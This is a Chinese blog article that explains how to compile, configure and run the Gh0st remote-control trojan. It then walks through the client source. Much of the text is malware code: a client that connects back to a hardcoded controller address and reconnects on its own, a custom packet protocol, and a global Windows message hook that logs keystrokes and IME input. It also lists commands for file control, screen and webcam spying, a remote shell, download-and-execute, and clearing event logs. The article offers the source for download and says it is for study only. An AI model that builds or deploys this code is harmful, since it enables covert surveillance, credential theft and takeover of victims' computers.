Gh0st 的编译与使用方法
相信很多人应该或多或少地听说过 gh0st 的大名,正如上面所说,它是一款远程控制软件,其原始版本的代码和作者已经无从考证,笔者手里这一份也来源于网络,我修正一些 bug 并作了一些优化,仅供个人学习研究,不可用于商业用途和任何非法用途,否则后果自负。
代码下载方式,微信扫描以下二维码关注【高性能服务器开发】公众号,关注后回复【gh0st】即可得到下载链接:
编译方法
下载好代码以后,使用 Visual Studio 2013 打开源码目录下的 gh0st.sln 文件,打开后,整个解决方案有两个工程分别是 gh0st_server 和 gh0st_client。如下图所示:
其中,gh0st_server 是远程控制的控制端,gh0st_client 是远程控制的被控制端。gh0st_client 通过网络连接 gh0st_server 并将自己所在的机器的一些基本信息(如计算机名、操作系统版本号、CPU 型号、有无摄像头等)反馈给控制端,连接成功以后控制端就可以通过网络将相应的控制命令发给被控制端了,被控制端将命令执行结果发给控制端,以此来达到远程控制目标主机的目的。原理示意如下:
为了让 gh0st_client 能够顺利连上 gh0st_server,需要根据你实际情形,将 gh0st_client连接的ip地址和端口号改成 gh0st_server 的端口号,修改方法是:打开源码目录下的 Gh0st_Server_Svchost/svchost.cpp 153 行有服务器 ip 地址设置代码:
TCHAR *lpszHost = TEXT("127.0.0.1");
复制代码
将代码中的 127.0.0.1 修改成你的控制端 gh0st_server 所在地址即可,如果你是本机测试,可以保持不变。笔者测试本软件控制端是我的机器,被控制端是笔者虚拟机里面另外一台 Windows 7 系统,笔者将地址修改成 10.32.26.125,这是我控制端的地址。
修改完 ip 地址之后,就可以编译这两个工程得到控制端和被控制端可执行程序了。点击Visual Studio 【BUILD】菜单下【Rebuild Solution】菜单项,即可进行编译,等编译完成之后,在目录 Output\Debug\bin 下会生成 gh0st_server.exe 和 gh0st_client.exe 两个可执行文件即为我们上文中介绍的控制端和被控制端。
使用方法
我们先在本机上启动 gh0st_server.exe,然后在虚拟机中启动被控制端 gh0st_client.exe,很快 gh0st_client 就会连上 gh0st_server。这二者的启动顺序无所谓谁先谁后,因为 gh0st_client 有自动重连机制,被控制端连上控制端后,控制端(gh0st_server)的效果图如下所示:
当然,控制端可以同时控制多个被控制端,我这里在本机也开了一个被控制端,所以界面上会显示两个连上来的主机信息。
我们选择其中一个主机,点击右键菜单中的某一项就可以进行具体的控制操作了:
下面截取一些控制画面:
文件管理
文件管理功能可以自由从控制端被控制来回传送和运行文件。
远程终端
远程桌面
当然,远程桌面功能不仅可以查看远程电脑当前正在操作的界面,同时还可以控制它的操作,在远程桌面窗口标题栏右键弹出菜单中选择【控制屏幕】即可,当然为了控制的流畅性,你可以自由选择被控制端传过来的图片质量,最高是 32位真彩色。
为了节省篇幅,其他功能就不一一截图了,有兴趣的读者可以自行探索。
gh0st_client 源码分析
程序主脉络
我们先来看下被控制端的代码基本逻辑(原始代码位于 svchost.cpp 中),简化后的脉络代码如下:
int main(int argc, char **argv)
{
// lpServiceName,在ServiceMain返回后就没有了
TCHAR strServiceName[200];
lstrcpy(strServiceName, TEXT("clientService"));
//一个随机的名字
TCHAR strKillEvent[60];
HANDLE hInstallMutex = NULL;
if (!CKeyboardManager::MyFuncInitialization())
return -1;
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
//TCHAR *lpszHost = TEXT("127.0.0.1");
TCHAR *lpszHost = TEXT("10.32.26.125");
DWORD dwPort = 8080;
TCHAR *lpszProxyHost = NULL;//这里就当做是上线密码了
HANDLE hEvent = NULL;
CClientSocket socketClient;
socketClient.bSendLogin = true;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
while (1)
{
// 如果不是心跳超时,不用再sleep两分钟
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分钟断线重连, 为了尽快响应killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
// 每次睡眠60毫秒,一共睡眠2000次,共计两分钟
Sleep(60);
}
}// end if
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR;
continue;
}
CKeyboardManager::dwTickCount = GetTickCount();
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo_false(&socketClient);
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
//////////////////////////////////////////////////////////////////////////
// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
if (!manager.IsActived())
continue;
DWORD dwIOCPEvent;
CKeyboardManager::dwTickCount = GetTickCount();
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hExitEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}// end while-loop
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
return 0;
}
复制代码
这段逻辑可以梳理成如下的流程图:
通过上图,我们得到程序三个关键性执行络脉:
- 脉络一
我们可以知道要想让整个被控制端程序退出就需要收到所谓的杀死事件,判断收到杀死事件的机制是使用 Windows 的内核对象 Event(注意与 UI 事件循环那个 Event),在前面的多线程章节也介绍过,如果这个 Event 对象是一个命名对象,它是可以跨进程的共享的,当我们一个进程尝试使用 OpenEvent API 结合事件名称去打开它,如果这个命名对象已经存在,就会返回这个内核对象的句柄,反之如果不存在则返回 NULL,上述代码中 32 ~ 37 行,70、75 ~ 79行代码即是利用这个原理来控制程序是否退出。
hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
复制代码
- 脉络二
如果程序收到的是所谓的退出事件(socketClient.m_hExitEvent),则会断开当前连接,两分钟后重新连接。
- 脉络三
如果不是脉络一和脉络二的逻辑,程序的主线程就会一直执行一个小的循环(上述代码 68 行 ~ 73 行),无限等待下去,这样做的目的是为了主线程不退出,这样支线程(工作线程)才能正常工作。那么有几个工作线程呢?分别是做什么工作?
工作线程
工作线程一
在主线程连接服务器时,调用了:
//svchost.cpp 211行
socketClient.Connect(lpszHost, dwPort)
复制代码
在 socketClient.Connect() 函数中末尾处,即连接成功后,会新建一个工作线程,线程函数叫 WorkThread:
//ClientSocket.cpp 167行
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
复制代码
WorkThread 函数的内容如下:
//ClientSocket.cpp 174行
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
closesocket(NULL);
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
closesocket(NULL);
while (pThis->IsRunning())
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL);
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
if (nSize <= 0)
{
pThis->Disconnect();
break;
}
if (nSize > 0)
pThis->OnRead((LPBYTE)buff, nSize);
}
}
return -1;
}
复制代码
这段代码先用 select 函数检测连接 socket 上是否有数据可读,如果有数据则调用 recv 函数去收取数据,每次最多收取 MAX_RECV_BUFFER(8 * 1024) 个字节。由于这里 select 函数最后一个参数设置成了 NULL,如果当前没有可读数据,则 select 函数会无限阻塞该线程;如果 select 函数调用失败,则断开连接,在断开连接时,除了重置一些状态外,还会设置上文说的 socketClient.m_hExitEvent 事件对象,这样主线程就不会继续卡在上文说的那个循环中,而是会继续下一轮的重连服务器动作。
//ClientSocket.cpp 311行
void CClientSocket::Disconnect()
{
//非重点代码省略...
SetEvent(m_hExitEvent);
//非重点代码省略...
}
复制代码
如果成功收到数据以后,接着该工作线程调用 pThis->OnRead((LPBYTE)buff, nSize); 进行解包处理:
//SocketClient.cpp 227行
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
{
closesocket(NULL);
try
{
if (dwIoSize == 0)
{
Disconnect();
return;
}
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新发送
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag));
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
}
catch (...)
{
m_CompressionBuffer.ClearBuffer();
Send(NULL, 0);
}
closesocket(NULL);
}
复制代码
这是一段非常经典的解包逻辑处理方式,通过这段代码我们也能得到 gh0st 使用的网络通信协议格式。
如果收到的数据大小是 FLAG_SIZE(5)个字节,且内容是 gh0st 这五个字母(这种序列称为 Packet Flag):
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新发送
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
复制代码
m_bPacketFlag 是一个 5 字节的数据,其在 CClientSocket 对象构造函数中设置的:
//ClientSocket.cpp 34行
BYTE bPacketFlag[] = { 'g', 'h', '0', 's', 't' };
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
复制代码
这个 Packet Flag 的作用是 gh0st 控制端和被控制端协商好的,如果某一次某一端收到仅仅含有 Packet Flag 的数据,该端会重发上一次的数据包。这个我们可以通过发数据的函数中的逻辑可以看出来:
//SocketClient.cpp 340行
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
{
closesocket(NULL);
m_WriteBuffer.ClearBuffer();
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
GetTickCount();
LPBYTE pDest = new BYTE[destLen];
if (pDest == NULL)
return 0;
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete[] pDest;
return -1;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
// Write Data
m_WriteBuffer.Write(pDest, destLen);
delete[] pDest;
//原始未压缩的数据先备份一份
// 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
GetForegroundWindow();
CopyMemory(lpResendWriteBuffer, lpData, nSize);
GetForegroundWindow();
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 备份发送的数据
if (lpResendWriteBuffer)
delete[] lpResendWriteBuffer;
}
else // 要求重发, 只发送FLAG
{
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 备份发送的数据
}
// 分块发送
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
复制代码
这个函数的第二个参数 nSize 如果不大于 0, 则调用该函数时的作用就是发一下该 Packet Flag,对端收到该 Flag 数据后就会重发上一次的包,为了方便重复本端上一的数据包,每次正常发数据的时候,会将本次发送的数据备份到 m_ResendWriteBuffer 成员变量中去,下一次取出该数据即可重发。
如果收到的不是重发标志,则将数据放到接收缓冲区 m_CompressionBuffer 中,这也是一个成员变量,而且其数据是压缩后的,接下来就是解包的过程。
//ClientSocket.cpp 247行
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag));
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
复制代码
这个过程如下:
gh0st 的通信协议
根据上面的流程,我们可以得到 gh0st 网络通信协议包的格式,我们用一个结构体来表示一下:
//让该结构体以一个字节对齐
#pragma pack(push, 1)
struct Gh0stPacket
{
//5字节package flag: 内容是gh0st
char flag[5];
//4字节的包大小
int32_t packetSize;
//4字节包体压缩前大小
int32_t bodyUncompressedSize;
//数据内容,长度为packetSize-13
char data[0];
}
#pragma pack(pop)
复制代码
当发送数据装包的过程和这个解包的过程刚好相反,位于上面说的 CClientSocket::Send 函数里面,这里就不再重复介绍了。
工作线程二
我们刚才介绍了,当解析完一个完整的数据包后,把它放入CClientSocket 的成员变量 m_DeCompressionBuffer 中,然后交给 m_pManager->OnReceive() 函数处理,m_pManager 是一个基类 CManager 对象指针,其 OnReceive 函数我们要看其指向的子类方法的具体实现。这个对象在哪里设置的呢?
在我们上面介绍的程序主脉络中我们说主线程中有一个步骤是等待控制端发送激活命令,这个步骤有这样一段代码:
//svchost.cpp 220行
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent,
lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
复制代码
在这里我们可以得出 CClientSocket.m_pManager 指向的实际对象是 CKernelManager,同时在 CKernelManager 的构造函数中又新建了一个工作线程,线程函数叫 Loop_HookKeyboard。
//KernelManager.cpp 111行
m_nThreadCount = 0;
// 创建一个监视键盘记录的线程
// 键盘HOOK跟UNHOOK必须在同一个线程中
m_hThread[m_nThreadCount++] =
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, NULL, 0, NULL, true);
复制代码
这个线程句柄被保存在 CKernelManager 的 m_hThread 数组中。线程函数 Loop_HookKeyboard 内容如下:
//Loop.h 76行
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
{
TCHAR szModule[MAX_PATH - 1];
TCHAR strKeyboardOfflineRecord[MAX_PATH];
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
CKeyboardManager::MyGetSystemDirectory(strKeyboardOfflineRecord, ARRAYSIZE(strKeyboardOfflineRecord));
lstrcat(strKeyboardOfflineRecord, TEXT("\\desktop.inf"));
if (GetFileAttributes(strKeyboardOfflineRecord) != INVALID_FILE_ATTRIBUTES /*- 1*/)
{
int j = 1;
g_bSignalHook = j;
}
else
{
// CloseHandle(CreateFile( strKeyboardOfflineRecord, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL));
// g_bSignalHook = true;
int i = 0;
g_bSignalHook = i;
}
// g_bSignalHook = false;
while (1)
{
while (g_bSignalHook == 0)
{
Sleep(100);
}
CKeyboardManager::StartHook();
while (g_bSignalHook == 1)
{
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
Sleep(100);
}
CKeyboardManager::StopHook();
}
return 0;
}
复制代码
其核心的代码是安装一个类型为 WH_GETMESSAGE 的Windows Hook (钩子) 的 CKeyboardManager::StartHook():
//KeyboardManager.cpp 313行
bool CKeyboardManager::StartHook()
{
//...无关代码省略...
m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
//...无关代码省略
return true;
}
复制代码
WH_GETMESSAGE 类型的钩子会截获钩子所在系统上的所有使用 GetMessage 或 PeekMessage API 从消息队列中取消息的程序的消息。拿到消息后,对消息的处理放在 GetMsgProc 函数中:
//KeyboardManager.cpp 167行
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR szModule[MAX_PATH];
MSG* pMsg;
TCHAR strChar[2];
TCHAR KeyName[20];
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
pMsg = (MSG*)(lParam);
// 防止消息重复产生记录重复,以pMsg->time判断
if (
(nCode != HC_ACTION) ||
((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
(m_dwLastMsgTime == pMsg->time)
)
{
return result;
}
m_dwLastMsgTime = pMsg->time;
if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
{
HWND hWnd = pMsg->hwnd;
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
HIMC hImc = ImmGetContext(hWnd);
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
LONG strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0);
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
// 考虑到UNICODE
strLen += sizeof(WCHAR);
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
ImmReleaseContext(hWnd, hImc);
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
SaveInfo(m_pTShared->str);
}
if (pMsg->message == WM_CHAR)
{
if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
{
strChar[0] = pMsg->wParam;
strChar[1] = TEXT('\0');
SaveInfo(strChar);
}
else if (pMsg->wParam == VK_RETURN)
{
SaveInfo(TEXT("\r\n"));
}
// 控制字符
else
{
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
memset(KeyName, 0, sizeof(KeyName));
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName)-2) > 0)
{
KeyName[0] = TEXT('[');
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
lstrcat(KeyName, TEXT("]"));
SaveInfo(KeyName);
}
}
}
return result;
}
复制代码
该函数所做的工作就是记录被监控的电脑上的键盘输入,然后调用 SaveInfo 函数或存盘或发给控制端。
让我们继续来看 CKernelManager::OnReceive() 函数如何对解析后的数据包进行处理的:
//KernelManager.cpp 136行
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
//服务端可以激活开始工作
case COMMAND_ACTIVED:
{
//代码省略...
break;
case COMMAND_LIST_DRIVE: // 文件管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // 屏幕查看
//代码省略...
break;
case COMMAND_WEBCAM: // 摄像头
//代码省略...
break;
// case COMMAND_AUDIO: // 语音
//代码省略...
// break;
case COMMAND_SHELL: // 远程shell
//代码省略...
break;
case COMMAND_KEYBOARD:
//代码省略...
break;
case COMMAND_SYSTEM:
//代码省略...
break;
case COMMAND_DOWN_EXEC: // 下载者
//代码省略...
SleepEx(101, 0); // 传递参数用
break;
case COMMAND_OPEN_URL_SHOW: // 显示打开网页
//代码省略...
break;
case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
//代码省略...
break;
case COMMAND_REMOVE: // 卸载,
//代码省略...
break;
case COMMAND_CLEAN_EVENT: // 清除日志
//代码省略...
break;
case COMMAND_SESSION:
//代码省略...
break;
case COMMAND_RENAME_REMARK: // 改备注
//代码省略...
break;
case COMMAND_UPDATE_SERVER: // 更新服务端
//代码省略...
break;
case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
//代码省略...
break;
}
}
复制代码
通过上面的代码,我们知道解析后的数据包第一个字节就是控制端发给被控制端的命令号,剩下的数据,根据控制类型的不同而具体去解析。控制端每发起一个控制,都会新建一个线程来处理,这些线程句柄都记录在上文说的 CKernelManager::m_hThread 数组中。我们以文件管理这条命令为例,创建的文件管理线程函数如下:
//Loop.h 18行
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CFileManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
复制代码
在这个线程函数中又重新创建了一个 CClientSocket 对象,然后利用这个对象重新连接一下服务器,ip 地址和端口号与前面的一致。由于 socketClient 和 manager 都是一个栈变量,为了避免其出了函数作用域失效, socketClient.run_event_loop() 会通过退出事件阻塞这个函数的退出:
//ClientSocket.cpp 212行
void CClientSocket::run_event_loop()
{
//...无关代码省略...
WaitForSingleObject(m_hExitEvent, INFINITE);
}
复制代码
在 CFileManager 对象的构造函数中,将驱动器列表发给控制端:
//FileManager.cpp 17行
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
m_nTransferMode = TRANSFER_MODE_NORMAL;
// 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList();
}
复制代码
现在已经有两个 socket 与服务器端相关联了,服务器端关于文件管理类的指令是发给后一个 socket 的。当收到与文件操作相关的命令,CFileManager::OnReceive 函数将处理这些这些命令,并发送处理结果:
//FileManager.cpp 29行
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
closesocket(NULL);
switch (lpBuffer[0])
{
case COMMAND_LIST_FILES:// 获取文件列表
SendFilesList((char *)lpBuffer + 1);
break;
case COMMAND_DELETE_FILE:// 删除文件
DeleteFileA((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DELETE_DIRECTORY:// 删除文件
////printf("删除目录 %s\n", (char *)(bPacket + 1));
DeleteDirectory((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES: // 上传文件
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // 上传文件
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER:
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE:
Rename(lpBuffer + 1);
break;
case COMMAND_STOP:
StopTransfer();
break;
case COMMAND_SET_TRANSFER_MODE:
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE:
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA:
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
break;
case COMMAND_OPEN_FILE_SHOW:
OpenFile((TCHAR *)lpBuffer + 1, SW_SHOW);
break;
case COMMAND_OPEN_FILE_HIDE:
OpenFile((TCHAR *)lpBuffer + 1, SW_HIDE);
break;
default:
break;
}
}
复制代码
关于文件具体指令的执行这里就不分析了,其原理就是调用相关 Windows 文件 API 来操作磁盘或文件(夹)。
下图是我们在控制端同时开启三个文件管理窗口和一个远程桌面窗口的效果截图:
文章未完,有兴趣的读者可以继续关注下一篇《Gh0st源码分析(二)》,下一篇我们将分析 gh0st控制端的源码。
本文首发于【高性能服务器开发公众号】。
欢迎关注公众号『easyserverdev』。如果有任何技术或者职业方面的问题需要我提供帮助,可通过这个公众号与我取得联系,同时,您也可以加入我的QQ群 578019391。此公众号不仅分享高性能服务器开发经验和故事,同时也免费为广大技术朋友提供技术答疑和职业解惑,您有任何问题都可以在微信公众号直接留言,我会尽快回复您。